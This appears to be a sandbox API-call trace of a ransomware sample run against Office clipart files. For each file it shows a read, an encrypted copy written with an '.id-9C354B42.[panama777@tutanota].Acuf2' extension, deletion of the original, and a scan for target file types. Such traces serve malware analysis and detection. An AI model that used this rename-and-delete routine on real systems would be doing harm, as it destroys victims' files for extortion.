	[0254.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0254.634] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.634] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.635] GetLastError () returned 0x0
	[0254.635] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x728, lpOverlapped=0x0) returned 1
	[0254.637] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x730, lpOverlapped=0x0) returned 1
	[0254.637] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.638] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.638] SetEndOfFile (hFile=0x350) returned 1
	[0254.638] CloseHandle (hObject=0x350) returned 1
	[0254.638] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.638] SetEndOfFile (hFile=0x2a4) returned 1
	[0254.640] CloseHandle (hObject=0x2a4) returned 1
	[0254.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1
	[0254.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.642] lstrlenW (lpString=".doc") returned 4
	[0254.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.642] lstrlenW (lpString=".docx") returned 5
	[0254.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.642] lstrlenW (lpString=".pdf") returned 4
	[0254.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.643] lstrlenW (lpString=".xls") returned 4
	[0254.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.643] lstrlenW (lpString=".xlsx") returned 5
	[0254.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.643] lstrlenW (lpString=".ppt") returned 4
	[0254.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.643] lstrlenW (lpString=".zip") returned 4
	[0254.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.643] lstrlenW (lpString=".rar") returned 4
	[0254.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.643] lstrlenW (lpString=".bz2") returned 4
	[0254.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.643] lstrlenW (lpString=".7z") returned 3
	[0254.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.643] lstrlenW (lpString=".dbf") returned 4
	[0254.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.643] lstrlenW (lpString=".1cd") returned 4
	[0254.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.643] lstrlenW (lpString=".jpg") returned 4
	[0254.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.643] lstrlenW (lpString=".doc") returned 4
	[0254.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.643] lstrlenW (lpString=".docx") returned 5
	[0254.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.644] lstrlenW (lpString=".pdf") returned 4
	[0254.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.644] lstrlenW (lpString=".xls") returned 4
	[0254.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.644] lstrlenW (lpString=".xlsx") returned 5
	[0254.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.644] lstrlenW (lpString=".ppt") returned 4
	[0254.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.644] lstrlenW (lpString=".zip") returned 4
	[0254.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.644] lstrlenW (lpString=".rar") returned 4
	[0254.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.644] lstrlenW (lpString=".bz2") returned 4
	[0254.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.644] lstrlenW (lpString=".7z") returned 3
	[0254.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.644] lstrlenW (lpString=".dbf") returned 4
	[0254.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.644] lstrlenW (lpString=".1cd") returned 4
	[0254.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63
	[0254.644] lstrlenW (lpString=".jpg") returned 4
	[0254.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.644] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.644] lstrlenW (lpString="AN01173_.WMF") returned 12
	[0254.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0254.646] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=26332) returned 1
	[0254.646] CloseHandle (hObject=0x2a4) returned 1
	[0254.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20
	[0254.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0254.646] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.646] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.647] GetLastError () returned 0x0
	[0254.647] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x66dc, lpOverlapped=0x0) returned 1
	[0254.650] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x66e0, lpOverlapped=0x0) returned 1
	[0254.651] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.652] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.652] SetEndOfFile (hFile=0x350) returned 1
	[0254.652] CloseHandle (hObject=0x350) returned 1
	[0254.652] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.652] SetEndOfFile (hFile=0x2a4) returned 1
	[0254.655] CloseHandle (hObject=0x2a4) returned 1
	[0254.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.656] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1
	[0254.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.656] lstrlenW (lpString=".doc") returned 4
	[0254.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.656] lstrlenW (lpString=".docx") returned 5
	[0254.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.656] lstrlenW (lpString=".pdf") returned 4
	[0254.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.656] lstrlenW (lpString=".xls") returned 4
	[0254.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.656] lstrlenW (lpString=".xlsx") returned 5
	[0254.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.656] lstrlenW (lpString=".ppt") returned 4
	[0254.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.656] lstrlenW (lpString=".zip") returned 4
	[0254.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.656] lstrlenW (lpString=".rar") returned 4
	[0254.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.656] lstrlenW (lpString=".bz2") returned 4
	[0254.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.657] lstrlenW (lpString=".7z") returned 3
	[0254.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.657] lstrlenW (lpString=".dbf") returned 4
	[0254.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.657] lstrlenW (lpString=".1cd") returned 4
	[0254.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.657] lstrlenW (lpString=".jpg") returned 4
	[0254.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.657] lstrlenW (lpString=".doc") returned 4
	[0254.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0254.657] lstrlenW (lpString=".docx") returned 5
	[0254.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0254.657] lstrlenW (lpString=".pdf") returned 4
	[0254.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0254.657] lstrlenW (lpString=".xls") returned 4
	[0254.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0254.657] lstrlenW (lpString=".xlsx") returned 5
	[0254.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0254.657] lstrlenW (lpString=".ppt") returned 4
	[0254.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0254.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.657] lstrlenW (lpString=".zip") returned 4
	[0254.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0254.657] lstrlenW (lpString=".rar") returned 4
	[0254.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0254.658] lstrlenW (lpString=".bz2") returned 4
	[0254.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0254.658] lstrlenW (lpString=".7z") returned 3
	[0254.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0254.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.658] lstrlenW (lpString=".dbf") returned 4
	[0254.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0254.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.658] lstrlenW (lpString=".1cd") returned 4
	[0254.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0254.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63
	[0254.658] lstrlenW (lpString=".jpg") returned 4
	[0254.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0254.658] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0254.658] lstrlenW (lpString="AN01174_.WMF") returned 12
	[0254.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0254.658] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=27858) returned 1
	[0254.658] CloseHandle (hObject=0x2a4) returned 1
	[0254.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20
	[0254.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0254.659] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.659] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0254.659] GetLastError () returned 0x0
	[0254.659] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x6cd2, lpOverlapped=0x0) returned 1
	[0254.661] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x6ce0, lpOverlapped=0x0) returned 1
	[0254.663] ReadFile (in: hFile=0x2a4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.663] WriteFile (in: hFile=0x350, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.663] SetEndOfFile (hFile=0x350) returned 1
	[0254.663] CloseHandle (hObject=0x350) returned 1
	[0254.663] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.663] SetEndOfFile (hFile=0x2a4) returned 1
	[0254.959] CloseHandle (hObject=0x2a4) returned 1
	[0254.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0255.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1
	[0255.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.027] lstrlenW (lpString=".doc") returned 4
	[0255.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.027] lstrlenW (lpString=".docx") returned 5
	[0255.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.027] lstrlenW (lpString=".pdf") returned 4
	[0255.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.027] lstrlenW (lpString=".xls") returned 4
	[0255.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.027] lstrlenW (lpString=".xlsx") returned 5
	[0255.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.027] lstrlenW (lpString=".ppt") returned 4
	[0255.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.027] lstrlenW (lpString=".zip") returned 4
	[0255.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.027] lstrlenW (lpString=".rar") returned 4
	[0255.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.027] lstrlenW (lpString=".bz2") returned 4
	[0255.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.027] lstrlenW (lpString=".7z") returned 3
	[0255.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.027] lstrlenW (lpString=".dbf") returned 4
	[0255.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.027] lstrlenW (lpString=".1cd") returned 4
	[0255.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.028] lstrlenW (lpString=".jpg") returned 4
	[0255.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.028] lstrlenW (lpString=".doc") returned 4
	[0255.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0255.028] lstrlenW (lpString=".docx") returned 5
	[0255.028] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0255.028] lstrlenW (lpString=".pdf") returned 4
	[0255.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0255.028] lstrlenW (lpString=".xls") returned 4
	[0255.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0255.028] lstrlenW (lpString=".xlsx") returned 5
	[0255.028] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0255.028] lstrlenW (lpString=".ppt") returned 4
	[0255.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0255.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.028] lstrlenW (lpString=".zip") returned 4
	[0255.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0255.028] lstrlenW (lpString=".rar") returned 4
	[0255.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0255.028] lstrlenW (lpString=".bz2") returned 4
	[0255.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0255.028] lstrlenW (lpString=".7z") returned 3
	[0255.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0255.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.028] lstrlenW (lpString=".dbf") returned 4
	[0255.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0255.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.028] lstrlenW (lpString=".1cd") returned 4
	[0255.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0255.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63
	[0255.029] lstrlenW (lpString=".jpg") returned 4
	[0255.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0255.029] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0255.029] lstrlenW (lpString="AN04191_.WMF") returned 12
	[0255.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0255.029] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=6636) returned 1
	[0255.029] CloseHandle (hObject=0x328) returned 1
	[0255.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20
	[0255.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
